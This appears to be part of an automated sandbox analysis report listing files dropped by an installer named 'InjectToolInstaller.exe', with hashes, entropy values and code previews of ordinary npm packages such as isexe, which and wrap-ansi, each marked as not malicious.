Preview:	/*. This is the Posix implementation of isexe, which uses the file. * mode and uid/gid values.. . @module. /.import { statSync } from 'fs';.import { stat } from 'fs/promises';./. Determine whether a path is executable according to the mode and. * current (or specified) user and group IDs.. /.export const isexe = async (path, options = {}) => {. const { ignoreErrors = false } = options;. try {. return checkStat(await stat(path), options);. }. catch (e) {. const er = e;. if (ignoreErrors \|\| er.code === 'EACCES'). return false;. throw er;. }.};./. Synchronously determine whether a path is executable according to. * the mode and current (or specified) user and group IDs.. */.export const sync = (path, options = {}) => {. const { ignoreErrors = false } = options;. try {. return checkStat(statSync(path), options);. }. catch (e) {. const er = e;. if (ignoreErrors \|\| er.code === 'EACCES').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\dist\mjs\win32.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	4.617399822940638
Encrypted:	false
SSDEEP:	48:XiUDMapHa5BgQYI4pHajBgSY6w9cWZoCMmvyrWiQk5v8:XiUDMapHaMQY/pHaKSY6gcjevyrWiQki
MD5:	3C272C3512045FFB8EF3FDD82787A9A8
SHA1:	E7DCD7EC739AC4B38C9CEB5321E760C9702E2A28
SHA-256:	F216DC20B7E89E1455D876BC6355D55C90A6725A87B07F583B45EA14BD3C2DB7
SHA-512:	6B7AE2BD380943A07F87BC684194C21B5361E9B787F3EB2B5097FC35BAD537B4529A37FF2EF38BAA2B3F389A359D074227CD785041BDDEBD9B8DA74C38322375
Malicious:	false
Preview:	/*. This is the Windows implementation of isexe, which uses the file. * extension and PATHEXT setting.. . @module. /.import { statSync } from 'fs';.import { stat } from 'fs/promises';./. Determine whether a path is executable based on the file extension. * and PATHEXT environment variable (or specified pathExt option). /.export const isexe = async (path, options = {}) => {. const { ignoreErrors = false } = options;. try {. return checkStat(await stat(path), path, options);. }. catch (e) {. const er = e;. if (ignoreErrors \|\| er.code === 'EACCES'). return false;. throw er;. }.};./. Synchronously determine whether a path is executable based on the file. * extension and PATHEXT environment variable (or specified pathExt option). */.export const sync = (path, options = {}) => {. const { ignoreErrors = false } = options;. try {. return checkStat(statSync(path), path, options);. }. catch (e) {. con

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\node_modules\isexe\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2435
Entropy (8bit):	4.594050291116502
Encrypted:	false
SSDEEP:	48:tfs3d6s7UgkJ4T4gmI4t4nyr/ZC/D3Gg0azfzI94O46n/FQEjoBr5h/YPFDWaqD:tds7SJi9mIkWyrRCL3Gg0QzIs6uPD
MD5:	A012BE5A37FED351A7CF9144228F6EFF
SHA1:	33FC88B1F05370BB6518291C601CF96CFCAFDC3B
SHA-256:	40B17C58E0324BD3311CC201CFE513054E6AF10261F872C8873AE290D620D5C6
SHA-512:	6DC55CCD94D3DB2E15F261A399AD03C799A95FA99EA4D07F059815956CF4FDBE40F8DA686544490FE4D407EFDA6264672A6618B438B9D7D5BEE920664123ADF5
Malicious:	false
Preview:	{. "name": "isexe",. "version": "3.1.1",. "description": "Minimal module to check if a file is executable.",. "main": "./dist/cjs/index.js",. "module": "./dist/mjs/index.js",. "types": "./dist/cjs/index.js",. "files": [. "dist". ],. "exports": {. ".": {. "import": {. "types": "./dist/mjs/index.d.ts",. "default": "./dist/mjs/index.js". },. "require": {. "types": "./dist/cjs/index.d.ts",. "default": "./dist/cjs/index.js". }. },. "./posix": {. "import": {. "types": "./dist/mjs/posix.d.ts",. "default": "./dist/mjs/posix.js". },. "require": {. "types": "./dist/cjs/posix.d.ts",. "default": "./dist/cjs/posix.js". }. },. "./win32": {. "import": {. "types": "./dist/mjs/win32.d.ts",. "default": "./dist/mjs/win32.js". },. "require": {. "types": "./dist/cjs/win32.d.ts",. "default": "./dist/cjs/win32.js". }. },. "./package.j

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\which\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	4.694554322025685
Encrypted:	false
SSDEEP:	24:7E94cg6bGPYEF1d9/mLCE08LIFhVJ9KFw1ehPF5H5YlTeJo6EP1TZD:7E6DcGQEvd0LC98sPb9F1ehPr5WefGTt
MD5:	8F222AF12818EC5436AA65CEC1CFEA73
SHA1:	C7559C61B6A5770BC91668447D9EA298234606BA
SHA-256:	8CDE991FC4CCF0A6875C0CFBAB01826B093C4F36FC98CDADCF714AFFCD9543B5
SHA-512:	F3F8ABD595E5276DD400D924AF7EA6FFB2BDFDA58DF036D34219EDA6F2F244DC7A8C3D23F0B4BC30ECDE9545918E90A0BC8E277A445E63F93E2A3F8C331C4DE3
Malicious:	false
Preview:	{. "author": "GitHub Inc.",. "name": "which",. "description": "Like which(1) unix command. Find the first instance of an executable in the PATH.",. "version": "4.0.0",. "repository": {. "type": "git",. "url": "https://github.com/npm/node-which.git". },. "main": "lib/index.js",. "bin": {. "node-which": "./bin/which.js". },. "license": "ISC",. "dependencies": {. "isexe": "^3.1.1". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.18.0",. "tap": "^16.3.0". },. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "files": [. "bin/",. "lib/". ],. "tap": {. "check-coverage": true,. "nyc-arg": [. "--exclude",. "tap-snapshots/**". ]. },. "engines": {. "node": "^16.13.0 \|\| >=18.0.0". },.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wide-align\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	752
Entropy (8bit):	5.0549042450081485
Encrypted:	false
SSDEEP:	12:oLS4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2C5ErK2PF3ea:o+ICCtEmq6s9iOnc4PRnA+qpF3ea
MD5:	9D215C9223FBEF14A4642CC450E7ED4B
SHA1:	279F47BEDBC7BB9520C5F26216B2323E8F0E728E
SHA-256:	0CEF05DFFF8B6AA7F35596984F5709F0D17C2582924A751EFA471A76DE7CDC11
SHA-512:	5E4BA806F279089D705E909E3C000674C4186D618D6AB381619099F8895AF02979F3FC9ABB43F78B9FFED33B90A7861F6C4B9D6C1BB47ED14A79E7F90ECA833C
Malicious:	false
Preview:	Copyright (c) 2015, Rebecca Turner <me@re-becca.org>..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF.OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wide-align\align.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	4.5832341679765625
Encrypted:	false
SSDEEP:	24:SRuCJYwcsNr0zuglD9EcYEsqIkfcYEAPZucyBEyvtIf9isK:SRuCJYwpV0z7Dx6qIr+Pjh97K
MD5:	0A1DA5FD1EE5E08BE7E1079203F452F3
SHA1:	EEA4B4E96FE2438794A9CE2D851D77320C754403
SHA-256:	6D29D75E7E7BC9B9DDDF7111A024DB41410A0A7D36F90BF06E6BE77D1366C03E
SHA-512:	4F832E399B666C7AE6A43E562818660AF0D74131949F2A652582F9D2D6404385B33582E8A44AA298436A228357AA8CBFE027293238DD133C84BE1B88C5F8BA52
Malicious:	false
Preview:	'use strict'.var stringWidth = require('string-width')..exports.center = alignCenter.exports.left = alignLeft.exports.right = alignRight..// lodash's way of generating pad characters...function createPadding (width) {. var result = ''. var string = ' '. var n = width. do {. if (n % 2) {. result += string;. }. n = Math.floor(n / 2);. string += string;. } while (n);.. return result;.}..function alignLeft (str, width) {. var trimmed = str.trimRight(). if (trimmed.length === 0 && str.length >= width) return str. var padding = ''. var strWidth = stringWidth(trimmed).. if (strWidth < width) {. padding = createPadding(width - strWidth). }.. return trimmed + padding.}..function alignRight (str, width) {. var trimmed = str.trimLeft(). if (trimmed.length === 0 && str.length >= width) return str. var padding = ''. var strWidth = stringWidth(trimmed).. if (strWidth < width) {. padding = createPadding(width - strWidth). }.. return padding + trimmed.}..func

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wide-align\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	736
Entropy (8bit):	4.701465207203564
Encrypted:	false
SSDEEP:	12:2Tdr1+2dFcRMV40CLaOVNxOjLdoLG5uBL48QEid7MbmPXJ/X05J0pk3BLCx:Yr1+28RMVzCuTfdoLs87E73f9X0kBx
MD5:	89D196349B5F1BEF4E4D5F0686800185
SHA1:	7F52B4652FE9FF874B294815483566DA18D118EC
SHA-256:	433984D8AB6027EBF54DEA96093FB32A231FB0C4F16CC08445DA7D62A6D8837F
SHA-512:	10D9DC17848A53D3E4885C5837AA657712BE95362ECDAEAD28E45C698991AB74C2B54A5107FC0CD4BE7119E8D4FF1758DE69A518FA296DA1E4EDB24BF6E610B0
Malicious:	false
Preview:	{. "name": "wide-align",. "version": "1.1.5",. "description": "A wide-character aware text alignment function for use on the console or with fixed width fonts.",. "main": "align.js",. "scripts": {. "test": "tap --coverage test/.js". },. "keywords": [. "wide",. "double",. "unicode",. "cjkv",. "pad",. "align". ],. "author": "Rebecca Turner <me@re-becca.org> (http://re-becca.org/)",. "license": "ISC",. "repository": {. "type": "git",. "url": "https://github.com/iarna/wide-align". },. "//": "But not version 5 of string-width, as that's ESM only",. "dependencies": {. "string-width": "^1.0.2 \|\| 2 \|\| 3 \|\| 4". },. "devDependencies": {. "tap": "". },. "files": [. "align.js". ].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi-cjs\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5772
Entropy (8bit):	5.242155717786989
Encrypted:	false
SSDEEP:	96:CL58GVX3mN/52/DCXa/pAF1KMnUVAVGs5aGV/nRKJVArH46oaV:CL5fVX3Eg7CqxS8AX3PYA86os
MD5:	EA472342B8717A65A2311F6E35E07AFF
SHA1:	4DFF46DB62DA8FB1DDBFC0723BFF271CCF55B67B
SHA-256:	A958F56F7D15E97092BCB7CAD7ACC180245F212BC5EF12C6565D4679DC7FD383
SHA-512:	5B5602554D35C73960100CEE617E8F22141AD11764A1AD2AB5FB7565D3F863A66666B9EBD9CA12C1DF1D7860A0DB379361FC487CBE665E89E89A1FDD8A4457AD
Malicious:	false
Preview:	'use strict';.const stringWidth = require('string-width');.const stripAnsi = require('strip-ansi');.const ansiStyles = require('ansi-styles');..const ESCAPES = new Set([..'\u001B',..'\u009B'.]);..const END_CODE = 39;..const ANSI_ESCAPE_BELL = '\u0007';.const ANSI_CSI = '[';.const ANSI_OSC = ']';.const ANSI_SGR_TERMINATOR = 'm';.const ANSI_ESCAPE_LINK = `${ANSI_OSC}8;;`;..const wrapAnsi = code => `${ESCAPES.values().next().value}${ANSI_CSI}${code}${ANSI_SGR_TERMINATOR}`;.const wrapAnsiHyperlink = uri => `${ESCAPES.values().next().value}${ANSI_ESCAPE_LINK}${uri}${ANSI_ESCAPE_BELL}`;..// Calculate the length of words split on ' ', ignoring.// the extra characters added by ansi escape codes.const wordLengths = string => string.split(' ').map(character => stringWidth(character));..// Wrap a long word across multiple rows.// Ansi escape codes do not count towards length.const wrapWord = (rows, word, columns) => {..const characters = [...word];...let isInsideEscape = false;..let isInsideLinkE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi-cjs\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi-cjs\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	4.829764600949519
Encrypted:	false
SSDEEP:	24:Te81kswkjBNZUcrJYwsxUtaneQAdYTz1s5Hk3wsoqNPfVpUL:i8RwvUYHitaneQgYTz1IHkKqtXUL
MD5:	0266E671B50376CA3271235FD8D0A756
SHA1:	3442B7381F1B431861A986D8CDF144CED299DB29
SHA-256:	0B0CF0BF62BD0CC71DA2128E3269E63EDD566FEFFDD501AA3692ACD6DB93C3C9
SHA-512:	9C60B19DB34A94B370CDC7483C20969A16B0CFF97593B346C7F0B9C9BCE80567F54BEBFB9868EF44E514442788725A47580D444C670EF4A5618446213744EAF7
Malicious:	false
Preview:	{.."name": "wrap-ansi",.."version": "7.0.0",.."description": "Wordwrap a string with ANSI escape codes",.."license": "MIT",.."repository": "chalk/wrap-ansi",.."funding": "https://github.com/chalk/wrap-ansi?sponsor=1",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."engines": {..."node": ">=10"..},.."scripts": {..."test": "xo && nyc ava"..},.."files": [..."index.js"..],.."keywords": [..."wrap",..."break",..."wordwrap",..."wordbreak",..."linewrap",..."ansi",..."styles",..."color",..."colour",..."colors",..."terminal",..."console",..."cli",..."string",..."tty",..."escape",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."log",..."logging",..."command-line",..."text"..],.."dependencies": {..."ansi-styles": "^4.0.0",..."string-width": "^4.1.0",..."strip-ansi": "^6.0.0"..},.."devDependencies": {..."ava": "^2.1.0",..."chalk": "^4.0.0",..."coveralls": "^3.0.3",..."has-ansi": "^4.0.0",..."nyc": "^15.0.1",..."xo": "

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	5778
Entropy (8bit):	5.242999065942214
Encrypted:	false
SSDEEP:	96:OLGVX3mN/52/DCXa/pAF1KMnUVAVGs5aGV/nRKJVAbH4HVxm:OyVX3Eg7CqxS8AX3PYAMHzm
MD5:	132A0252444B3E35D15E93EB09C906FB
SHA1:	E2C9A6369B2AA5734EC38F8674042729AEA34656
SHA-256:	10361EC7E4678874114103E47CAA1C8EF1CFFC78E0EFCE5088E081A26FE6E977
SHA-512:	CFD228FE98532B472264A9B8D1E7F0383BF03E8AFB1B78E13CE4D6B7789596F68CE2A624DA1099CC29CB2F12C0684E23637892D82B82F8C116675527BCECC961
Malicious:	false
Preview:	import stringWidth from 'string-width';.import stripAnsi from 'strip-ansi';.import ansiStyles from 'ansi-styles';..const ESCAPES = new Set([..'\u001B',..'\u009B',.]);..const END_CODE = 39;.const ANSI_ESCAPE_BELL = '\u0007';.const ANSI_CSI = '[';.const ANSI_OSC = ']';.const ANSI_SGR_TERMINATOR = 'm';.const ANSI_ESCAPE_LINK = `${ANSI_OSC}8;;`;..const wrapAnsiCode = code => `${ESCAPES.values().next().value}${ANSI_CSI}${code}${ANSI_SGR_TERMINATOR}`;.const wrapAnsiHyperlink = uri => `${ESCAPES.values().next().value}${ANSI_ESCAPE_LINK}${uri}${ANSI_ESCAPE_BELL}`;..// Calculate the length of words split on ' ', ignoring.// the extra characters added by ansi escape codes.const wordLengths = string => string.split(' ').map(character => stringWidth(character));..// Wrap a long word across multiple rows.// Ansi escape codes do not count towards length.const wrapWord = (rows, word, columns) => {..const characters = [...word];...let isInsideEscape = false;..let isInsideLinkEscape = false;..let visib

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\ansi-regex\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.538325101917328
Encrypted:	false
SSDEEP:	6:4i/mZwOcMDgIfrDpV5Q+CPUNUOBBLHzBBBBLb+B0qx2qb+79+U7s5j3nw4GRyjeK:4iknkIfrNV5QHUq+7kK+jALjK
MD5:	4B05188FFF08C3F12812C29561915D54
SHA1:	BD2DEC3594C15A8ED8CC9D45EE8C2A6FDEDCFB37
SHA-256:	110C5FE554ECCDDA9B95BE9A33EDD4D4E867C8432460A8F39C9B7FF841B00772
SHA-512:	894B656903A1875C37C5D7CD9AA14FA7613961FFDBEBC3CEDA6D9BA766D46FAF9369A811827389F6DCC101E65A7C935FB83E40AA707453FB203A675752370670
Malicious:	false
Preview:	export default function ansiRegex({onlyFirst = false} = {}) {..const pattern = [.. '[\\u001B\\u009B][[\\]()#;?](?:(?:(?:(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]+)\|[a-zA-Z\\d]+(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]))?\\u0007)',...'(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PR-TZcf-ntqry=><~]))'..].join('\|');...return new RegExp(pattern, onlyFirst ? undefined : 'g');.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\ansi-regex\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\ansi-regex\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	958
Entropy (8bit):	4.795002151075833
Encrypted:	false
SSDEEP:	24:k13hxjBNowKXRJocLmhCQAdYTz1s5HxQ6xZeaImH:ERKRJoEoCQgYTz1IHxQeomH
MD5:	D2894A8EBBC4840E85527B8C051DAC86
SHA1:	DABD0C9882FB3B8C12222595FB92AD26B60671A1
SHA-256:	8A331BEBFC9225B6AFE7A15542843A78BA7943454B6261CFE60B734513E1D32C
SHA-512:	7266A2F0BBBC398C5E4A4F2D66670A205D1CD35F0D11A89840B56F221057776BDB54723D7D767DDBD1861379C01AC660FBBEB36DBB5374E53756AE9AFBC63E8C
Malicious:	false
Preview:	{.."name": "ansi-regex",.."version": "6.0.1",.."description": "Regular expression for matching ANSI escape codes",.."license": "MIT",.."repository": "chalk/ansi-regex",.."funding": "https://github.com/chalk/ansi-regex?sponsor=1",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."type": "module",.."exports": "./index.js",.."engines": {..."node": ">=12"..},.."scripts": {..."test": "xo && ava && tsd",..."view-supported": "node fixtures/view-codes.js"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."ansi",..."styles",..."color",..."colour",..."colors",..."terminal",..."console",..."cli",..."string",..."tty",..."escape",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."command-line",..."text",..."regex",..."regexp",..."re",..."match",..."test",..."find",..."pattern"..],.."devDependencies": {..."ava": "^3.15.0",..."tsd": "^0.14.0",..."xo": "^0.38.2"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\ansi-styles\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5267
Entropy (8bit):	5.379657894000634
Encrypted:	false
SSDEEP:	96:8NVpjqGqrkYg780URnnFA4yj+zz/1np3VizZwx6rtEwKaiXwTtTjrfEY+UjEZyak:8NrqGqrvZxn1VizZwxX6TjzEXUjEZyBX
MD5:	51396A2EAAE55FB8B3235E814A26430A
SHA1:	686E931B7A761D11DE586BEE34EDF2C9661F9F74
SHA-256:	68F03608C4B3C795AA5F33DCA35262AB76975A60D8A9242F6BEA62BB6CB1DC67
SHA-512:	7D18CA791F74A55FC9BA08F987D04A73FEEED98635DDD274FA416EF59218F3DDF55494F44F6C1C1899696A06A4D786E046E67F08AEAD0FDAC7001B6161925DB3
Malicious:	false
Preview:	const ANSI_BACKGROUND_OFFSET = 10;..const wrapAnsi16 = (offset = 0) => code => `\u001B[${code + offset}m`;..const wrapAnsi256 = (offset = 0) => code => `\u001B[${38 + offset};5;${code}m`;..const wrapAnsi16m = (offset = 0) => (red, green, blue) => `\u001B[${38 + offset};2;${red};${green};${blue}m`;..const styles = {..modifier: {...reset: [0, 0],...// 21 isn't widely supported and 22 does the same thing...bold: [1, 22],...dim: [2, 22],...italic: [3, 23],...underline: [4, 24],...overline: [53, 55],...inverse: [7, 27],...hidden: [8, 28],...strikethrough: [9, 29],..},..color: {...black: [30, 39],...red: [31, 39],...green: [32, 39],...yellow: [33, 39],...blue: [34, 39],...magenta: [35, 39],...cyan: [36, 39],...white: [37, 39],....// Bright color...blackBright: [90, 39],...gray: [90, 39], // Alias of `blackBright`...grey: [90, 39], // Alias of `blackBright`...redBright: [91, 39],...greenBright: [92, 39],...yellowBright: [93, 39],...blueBright: [94, 39],...magentaBright: [95, 39],...cyanBright

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\ansi-styles\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\wrap-ansi\node_modules\ansi-styles\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1022
Entropy (8bit):	4.898750596818687
Encrypted:	false
SSDEEP:	24:ka17tjSxogoO5KXRJocH9jnf+E8av+CQAdYTz1s5HkUeNKYD:v7LRJoaJGDDCQgYTz1IHkU6D
MD5:	7D6B96F07A30B44CB04FF08EA1BFAE61
SHA1:	605B3D8AB4008B6BA2378580C155D33362E80A6D
SHA-256:	D5C878207F5BE10C4DF575461E73794A17D045B178E006A56C74598C0652800C
SHA-512:	138A70165FDEC1E5EBA572D4AE1F8F9B250A60CD4604DDDEE4C3C9FCB4CC55344A75728EC7B49859335D3884559ABA274C1AFA8D475AC1BFF202E4AFA821ABB4
Malicious:	false
